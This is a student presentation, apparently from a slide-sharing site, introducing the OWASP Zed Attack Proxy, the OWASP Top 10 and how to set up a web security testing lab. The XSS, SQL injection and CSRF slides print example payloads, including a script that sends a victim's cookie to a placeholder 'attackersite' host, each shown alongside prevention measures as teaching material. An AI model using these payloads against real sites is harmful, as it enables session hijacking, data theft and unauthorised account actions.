The OWASP Zed Attack Proxy


Published on

It is a presentation of the work done in a Research and Development Project on the Zed Attack Proxy Tool.

Published in: Education

The OWASP Zed Attack Proxy

  1. 1. THE OWASPZED ATTACK PROXYResearch and Development ProjectFinal ReportSubmitted By:-Pallav Dhobley 09005012Aditya Gupta 09005017
  3. 3. Overview• Introduction• OWASP Top 10 Application Security Risks – 2010• Setting up the Environment• Functioning of ZAP• Conclusion• References
  5. 5. About OWASP• Full form: Open Web Application Security Project• An open-source application security project• Works to create freely-available• Articles• Methodologies• Documentation• Tools, and• Technologies
  6. 6. Features of OWASP• It provides free and open source• Application security tools and standards• Complete books on application security testing, secure codedevelopment, and security code review• Standard security controls and libraries• Local chapters worldwide• Cutting edge research• Extensive conferences worldwide• Mailing lists
  7. 7. History of OWASP• OWASP was started on September 9, 2001• It was started by Mark Curphey and Dennis Groves.• Since late 2003, Jeff Williams served as the volunteerChair of OWASP until September 2011.• The current chair is Michael Coates, and vice chairis Eoin Keary.• The OWASP Foundation was established in 2004 andsupports the OWASP infrastructure and projects
  8. 8. OWASP-Zed Attack Proxy• The Zed Attack Proxy (ZAP) is penetration testing tool forfinding vulnerabilities in web applications.• Designed to be used by people with a wide range ofsecurity experience• Ideal for new developers and functional testers who arenew to penetration testing• Useful addition to an experienced pen testers toolbox• Released September 2010• Current Version -: 2.0.0
  9. 9. ZAP Principles• Free, Open source• Cross platform• Easy to use• Easy to install• Internationalized• Fully documented• Involvement actively encouraged• Reuse well regarded components
  10. 10. Features of ZAP• Intercepting proxy• Automated scanner• Passive scanner• Brute force scanner• Spider• Fuzzer• Port scanner• Dynamic SSL Certificates• API• Beanshell integration
  12. 12. Top 10 Application Security Risks• A1 – Injection• A2 – Cross-Site Scripting (XSS)• A3 – Broken Authentication and Session Management• A4 – Insecure Direct Object References• A5 – Cross-Site Request Forgery (CSRF)• A6 – Security Misconfiguration• A7 – Insecure Cryptographic Storage• A8 – Failure to Restrict URL Access• A9 – Insufficient Transport Layer Protection• A10 – Invalidated Redirects and Forwards
  13. 13. XSS - Cross Site Scripting• Problem: User controlled data returned in HTTPresponse contains HTML/JavaScript code• Impact: Session Hijacking, Full Control ofPage, Malicious Redirects• Basic XSS Test:"><script>alert(document.cookie)</script>• Cookie Theft Example:"><script>document.location=http://attackersite/+document.cookie</script>
  14. 14. Types of XSS• Stored XSS Attacks• The injected code is permanently stored on the target servers• Reflected XSS Attacks• Injected code is reflected off the web server, such as in an errormessage, search result, or any other response• DOM Based XSS• Attack payload is executed as a result of modifying the DOM“environment” in the victim‟s browser used by the original clientside script
  15. 15. Prevention of XSS• Solution• Output Encoding• converts command characters to benign characters• Input Validation• Example• <script> becomes &lt;script&gt;< &lt> &gt“ &quote„ &#x27& HTML ENCODING &amp
  16. 16. SQL Injection• Problem: Incorrectly validated or non-validated stringliterals are concatenated into a dynamic SQLstatement, and interpreted as code by the SQL engine.• Impact: Arbitrary SQL Execution, Data Corruption, DataTheft• Basic SQL Injection Tests:• OR 1=1 -- OR 1= 1--• Example Vulnerable Query:• sqlQ = “Select user from UserTable where name= +username+ and pass = +password+ ”
  17. 17. Types of SQL Injections• First Order Attack• The attacker can simply enter a malicious string and cause themodified code to be executed immediately.• Second Order Attack• The attacker injects into persistent storage (such as a table row)which is deemed as a trusted source. An attack is subsequentlyexecuted by another activity.• Lateral Injection.• The attacker can manipulate the implicit functionTo_Char() bychanging the values of the environment variables
  18. 18. Prevention of SQL Injection• Reduce the attack surface.• Ensure that all excess database privileges are revoked• Avoid dynamic SQL with concatenated input• Use bind arguments.• Filter and sanitize input.• The Oracle-supplied DBMS_ASSERT package contains a numberof functions that can be used to sanitize user input
  19. 19. Cross Site Request Forgery (CSRF)• Problem:• Browser cannot distinguish between user initiated actions andautomated actions• Websites process valid requests that are authorized to user andcontain user session id• Impact:• Attacker can perform arbitrary actions with victim user‟s account onthird party site.• Not traceable, logs show user performed these actions.• Basic CSRF Test:• <img src=”http://targetsite/?action=deleteAccount”></img>
  20. 20. Prevention Measures That Do NOT Work• Using a Secret Cookie• Only Accepting POST Requests• Multi-Step Transactions• URL Rewriting
  21. 21. Prevention of CSRF• Preventing CSRF requires the inclusion of anunpredictable token in the body or URL of each HTTPrequest• Such tokens should at a minimum be unique per usersession, but can also be unique per request.• The preferred option is to include the unique token in a hidden field.• The unique token can also be included in the URL itself, or a URLparameter
  23. 23. Installation and Configuration of ZAP• Download Link:•• Zap runs on proxy. To set up the proxy in ZAP• go to TOOLS > OPTIONS > LOCAL PROXY in ZAP• Same configuration in the browser too
  24. 24. Setting Up Web Security Learning Lab• Required Software• Virtual Machine Software• OWASP Broken Web Apps VM• Web Proxy - Recommend OWASP Zap Proxy• Web Proxy - Alternative Burp Proxy• Browser - Recommend Firefox• Optional - Browser Plugins• Firebug• Firecookie• Installation instructions are written in the final report
  26. 26. Functioning of ZAP• Intercepting the traffic• Traditional and AJAX spiders• Automated scanners• Analysing the scan results• Reporting
  27. 27. Intercepting the traffic• Configure the browser to use ZAP proxy server onlocalhost• Can intercept all traffic to a user specifiedwebsite/server• Can click on any link on the site to observe the capturedrequest• Can modify this request before forwarding it to theserver• The response can also be intercepted before forwardingit to the browser
  28. 28. Spidering• ZAP spider is needed to crawl links that are not directlyvisible• It automatically discovers and explores the hidden linksfor a site• Newly discovered URLs are shown• URLs whose domain is different from target are also listed
  29. 29. Scanning the website• Active Scanning• Can select a site to be attacked under the „Attack‟ section• Tool actually attacks the application in all possible ways to find outall possible vulnerabilities• Some of the issues active scan looks for are :• Cross Site Scripting• SQL Injection• External Redirect• Parameter tampering• Directory browsing• All findings shown under „Alerts‟ tab
  30. 30. Scanning the website• Passive scanning• Unlike active scanning, passive scanning does not change anyresponses coming from server• Only looks at responses to identify vulnerabilities• Safe to use• Some of the issues passive scanning looks for :• Incomplete or no cache-control and pragma HTTP Header set• Cross-domain JavaScript source file inclusion• Cross Site Request Forgery• Password Autocomplete in browser• Weak authentication
  31. 31. Analysis and Reporting• No tool‟s report is free from false positives• Security analyst can determine which vulnerabilities arefalse positives• It also shows the level of threat associated with thevulnerability• High, Medium, Low• Analysed results are used to generate the report• Can generate a detailed report of all vulnerabilities; canbe exported to HTML file and viewed in a browser
  32. 32. Other ZAP features• Port Scan• This feature scans open ports on the target site and lists themaccordingly• Encode/Decode Hash• This feature is used to encode/ decode the text entered• Fuzzing• Fuzzing is the process of sending invalid and unexpected input tothe application to observe the behaviour• Extensions for ZAP• ZAP has plugins like LDAP Injection, session fixation etc. and manyothers that can be found on•
  33. 33. CONCLUSION
  34. 34. ZAP- Firefox of Web Security• ZAP is a free, open-source community developed toolaimed at making the online world more secure• Some of the ideals that have driven ZAP are listed below• Help users develop and apply application security skills• Build a competitive, open source, and community oriented platform• Provide an extensible platform for testing• Designed to be easy to use• Raise the bar for other security tools
  35. 35. Future of ZAP• Enhance scanners to detect more vulnerabilities• Extend API, better integration• Fuzzing analysis• Easier to use, better help
  36. 36. References• Open Web Application Security Project•• OWASP Top Ten Project•• Cross-site Scripting (XSS)•• OWASP Zed Attack Proxy Project•• Zaproxy :•
  37. 37. References (contd.)• ZAP Blog:•• Penetration Testing For Developers•• Setting Up Web Security Learning Lab•• Webgoat:•
  38. 38. THANK YOU !!!Questions ?